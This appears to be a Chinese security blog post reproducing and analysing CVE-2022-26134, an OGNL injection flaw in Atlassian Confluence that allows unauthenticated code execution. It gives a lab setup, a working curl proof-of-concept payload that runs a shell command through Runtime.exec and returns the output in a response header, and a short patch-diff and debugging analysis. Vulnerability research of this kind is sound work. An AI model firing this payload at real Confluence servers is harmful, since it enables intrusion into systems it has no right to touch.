文章目录

  • 0x01. 漏洞概述
  • 0x02. 环境搭建
  • 0x03. 漏洞复现
  • 0x04. 漏洞分析
  • 0x05. EXP

0x01. 漏洞概述

在受影响的 Confluence Server 和 Data Center 版本中,存在一个 OGNL 表达式注入漏洞,该漏洞允许未经身份验证的攻击者在 Confluence Server 或 Data Center 实例上执行任意代码。

影响范围:

  • Atlassian Confluence Server and Data Center < 7.4.17
  • 7.5.0 ≤ Atlassian Confluence Server and Data Center < 7.13.7
  • 7.14.0 ≤ Atlassian Confluence Server and Data Center < 7.14.3
  • 7.15.0 ≤ Atlassian Confluence Server and Data Center < 7.15.2
  • 7.16.0 ≤ Atlassian Confluence Server and Data Center < 7.16.4
  • 7.17.0 ≤ Atlassian Confluence Server and Data Center < 7.17.4
  • 7.18.0 ≤ Atlassian Confluence Server and Data Center < 7.18.1

0x02. 环境搭建

  • Ubuntu 18.04

  • confluence:7.4.4

wget https://downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-7.4.4-x64.bin
chmod +x atlassian-confluence-7.4.4-x64.bin
./atlassian-confluence-7.4.4-x64.bin     # 选择自定义安装,其他默认即可(此处以root权限执行安装,普通用户权限安装的话默认安装目录不一样)# 安装mysql驱动
wget https://cdn.mysql.com//Downloads/Connector-J/mysql-connector-java_8.0.29-1ubuntu18.04_all.deb# 解压上述deb包,在/usr/share/java/目录下可看到 mysql-connector-java-8.0.29.jar
dpkg -X mysql-connector-java_8.0.29-1ubuntu18.04_all.deb .mv mysql-connector-java-8.0.29.jar /opt/atlassian/confluence/confluence/WEB-INF/lib# 重启confluence(root权限执行安装,在 /init.d 目录下才有这个文件)
/etc/init.d/confluence restart# 安装并设置mysql
sudo apt update
sudo apt install mysql-server-5.7
mysql -u root
alter user 'root'@'localhost' identified with mysql_native_password by '你的mysql密码';
create database jiradb;
alter database jiradb character set utf8;
alter database jiradb default collate utf8_bin;
set global transaction isolation level  Read committed;

默认运行在端口 8090,访问 http://ip:8090/ 即可进入web安装流程。

PS:最后一步设置系统管理员密码的时候记得密码强度要满足一定的要求,输入简单的密码点下一步会导致安装报错(大雾.jpg,前端加个密码复杂度验证很麻烦吗???)。

若安装过程中因某些操作导致失败,且找不到合适的解决方案,可以考虑删除以下目录重新启动安装流程:

rm -rf /opt/atlassian/ /var/atlassian/

安装完成后如下:

0x03. 漏洞复现

命令执行POC:

curl -vv http://1.13.169.238:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/

0x04. 漏洞分析

配置idea远程调试

vim /opt/atlassian/confluence/bin/setenv.sh# 在 export CATALINA_OPTS 这一行上面加上如下一行:CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ${CATALINA_OPTS}"# 重启confluence
/etc/init.d/confluence restart

idea相关配置很简单,不多说了。

补丁分析

由官方漏洞修复方案 https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html 可知:漏洞触发点应该是在 xwork 这个jar包里,下载 atlassian-confluence-7.18.0 和 atlassian-confluence-7.18.1,对比其中的 xwork 组件,发现主要做了如下更改:

故idea中在 final OgnlValueStack stack = ActionContext.getContext().getValueStack(); 这一行打个断点,执行payload触发命令执行,idea成功断下,如下:

看了下调用栈,发现经过一系列的filter后, requestDispatcherPath 变为 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“id”).getInputStream(),“utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Response”,#a))}/index.action

接下来的过程有点复杂懒得写分析了,直接上调试截图:

ognl表达式部分解析调用过程:

获取命令执行结果:


0x05. EXP

https://github.com/Brucetg/CVE-2022-26134

Confluence OGNL表达式注入漏洞复现与分析(CVE-2022-26134)相关推荐

  1. Struts2 OGNL表达式注入漏洞解决

    Struts2 OGNL表达式注入漏洞解决 线上项目使用Struts2 版本2.3,需要升级版本,记录解决步骤,不确保其它项目都可以 pom.xml <struts.version>2.5 ...

  2. Atlassian Confluence OGNL表达式注入代码执行漏洞(CVE-2021-26084)

    环境搭建: 使用vulhub,进入文件夹启动环境: docker-compose up -d 环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个 ...

  3. Spring Data MongoDB SpEL表达式注入漏洞安全风险通告第二次更新

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Data MongoDB SpEL表达式注入漏洞(CVE-2022-229 ...

  4. 浅入深SpEL表达式注入漏洞总结

    SpEL 简介 在Spring 3 中引入了 Spring 表达式语言 (Spring Expression Language,简称SpEL), 这是一种功能强大的表达式语言,支持在运行时查询和操作对 ...

  5. espcms5.7.13 sql注入漏洞复现

    espcms5.7.13 sql注入漏洞复现 作者: admin 时间: 2021-06-28 分类: 漏洞复现 使用代码审计工具自动审计,找到select语句,双击进入/adminsoft/cont ...

  6. fastjson 1.22-1.24 漏洞复现与分析

    fastjson 1.22-1.24 漏洞复现与分析 前言 QAQ,感觉自己啥也不会,要好好努力学习了.但是由于本人遗忘度很大,因此要记下来学习QAQ. 概念 RMI(Remote Method In ...

  7. 查看openssh版本_OpenSSH命令注入漏洞复现(CVE202015778)

    OpenSSH命令注入漏洞复现(CVE-2020-15778) 目录 漏洞描述 漏洞等级 漏洞影响版本 漏洞复现 修复建议 ▶漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现.通 ...

  8. openssh漏洞_技术干货 | OpenSSH命令注入漏洞复现(CVE202015778)

    本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作! 欢迎各位添加 ...

  9. MS17-010(永恒之蓝)漏洞复现和分析

    MS17-010(永恒之蓝)漏洞复现和分析 一.漏洞简介 1.永恒之蓝介绍: 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含&q ...

  10. kkcms前台sql注入漏洞复现

    kkcms前台sql注入漏洞复现 目录 安装kkcms 漏洞复现 安装kkcms 下载kkcms地址: https://github.com/https://github.com/ 浏览器访问主机ip ...

最新文章

  1. Cocos2d-x手机游戏开发行业背景分析
  2. PHP5中PDO(PHP DATA OBJECT)模块基础详解
  3. python制作贪吃蛇游戏_用Python写贪吃蛇游戏的代码实例
  4. 第一章:1.2.2系统分类(二)
  5. SAP Tax计算逻辑
  6. 几种常用范数与距离的关系
  7. 云原生数据湖分析DLA 2020年年度总结
  8. 华为鸿蒙系统封闭,谷歌正式“除名”华为!“亲儿子”荣耀表示:暂不考虑,鸿蒙OS处境尴尬...
  9. uboot启动第一阶段——start.S
  10. Java8新特性总结 - 2.Optional类
  11. asp.net程序的问题原来是IE造成的,改用firefox就没问题了!
  12. about Microsoft Office SharePoint Portal Server 2003
  13. 目标检测YOLO V5 C++版本
  14. 0 1背包问题(dp)c语言,DP实例之01背包问题C语言实现
  15. dxf转换html5,移动端CAD版本转换如何输出DXF格式-迅捷CAD转换器
  16. 计算机主机配置一般有机箱主板cpu,电脑配置参数详解教程
  17. 小程序报错 出现脚本错误或者未正确调用 Page()
  18. 华师在线计算机网络,华师在线-作业计算机网络.docx
  19. 祛痘收缩毛孔的简单方法 - 生活至上,美容至尚!
  20. 破解WINDOWS7密码

热门文章

  1. Java编程语言是什么
  2. 老王的常用资源下载(全部附CSDN资源链接 12月19日 更新RetopoFlow3至3.00.2)
  3. python同花顺交易接口_TradeApi为A股程序化交易接口2.9.0发布
  4. javaeye改名之后
  5. weblogic部署springboot项目
  6. Python爬虫抓取网站模板的完整版实现
  7. GeForce RTX 3090驱动下载
  8. 【国内下载Android系统源码的方法】
  9. 安医有计算机专业吗,他从安徽医科大保研到南京航空航天大学!给学弟学妹分享保研经历...
  10. 升级qq群一直显示服务器失败怎么回事啊,QQ群创建失败是怎么回事,QQ群创建失败原因是什么...